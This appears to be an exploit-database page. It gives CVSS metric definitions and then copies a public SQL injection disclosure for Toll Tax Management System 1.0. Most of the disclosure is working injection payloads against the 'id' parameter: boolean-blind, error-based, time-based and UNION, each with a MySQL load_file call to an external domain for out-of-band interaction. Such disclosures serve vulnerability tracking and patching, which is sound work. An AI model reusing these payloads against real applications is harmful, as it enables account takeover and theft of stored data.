The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
High
PR
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Toll Tax Management System 1.0 SQL Injection
## Title: Toll Tax Management System v1.0 SQLi
## Author: nu11secur1ty
## Date: 04.07.2022
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/15304/toll-tax-management-system-phpoop-free-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Toll-Tax-Management-System
## Description:
The `id` parameter appears to be vulnerable to SQL injection attacks.
The payload '+(select
load_file('\\\\okc1h73mvkkryx8lbxic4ydpfgl994as1vpmcc01.namaikatiputkata_tupako.net\\wzm'))+'
was submitted in the id parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed.
The attacker can take administrator account control and also of all
accounts on this system, also the malicious user can download all
information about this system.
Status: CRITICAL
[+] Payloads:
```mysql
---
Parameter: id (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY
or GROUP BY clause
Payload: id=1'+(select
load_file('\\\\okc1h73mvkkryx8lbxic4ydpfgl994as1vpmcc01.namaikatiputkata_tupako.net\\wzm'))+''
RLIKE (SELECT (CASE WHEN (5512=5512) THEN 0x31+(select
load_file(0x5c5c5c5c6f6b63316837336d766b6b727978386c627869633479647066676c39393461733176706d636330312e6e616d61696b6174697075746b6174615f747570616b6f2e6e65745c5c777a6d))+''
ELSE 0x28 END)) AND 'XhmU'='XhmU
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: id=1'+(select
load_file('\\\\okc1h73mvkkryx8lbxic4ydpfgl994as1vpmcc01.namaikatiputkata_tupako.net\\wzm'))+''
OR (SELECT 2787 FROM(SELECT COUNT(*),CONCAT(0x716a7a7a71,(SELECT
(ELT(2787=2787,1))),0x71626a6271,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'CIPJ'='CIPJ
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1'+(select
load_file('\\\\okc1h73mvkkryx8lbxic4ydpfgl994as1vpmcc01.namaikatiputkata_tupako.net\\wzm'))+''
AND (SELECT 6043 FROM (SELECT(SLEEP(5)))rrdD) AND 'XHBJ'='XHBJ
Type: UNION query
Title: MySQL UNION query (NULL) - 6 columns
Payload: id=1'+(select
load_file('\\\\okc1h73mvkkryx8lbxic4ydpfgl994as1vpmcc01.namaikatiputkata_tupako.net\\wzm'))+''
UNION ALL SELECT
CONCAT(0x716a7a7a71,0x5346494143536a6c474b6b47466d494770794552614258734b42674c475945726d5a757674474b73,0x71626a6271),NULL,NULL,NULL,NULL,NULL#
---
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Toll-Tax-Management-System)
## Proof and Exploit:
[href](https://streamable.com/y9xo4q)
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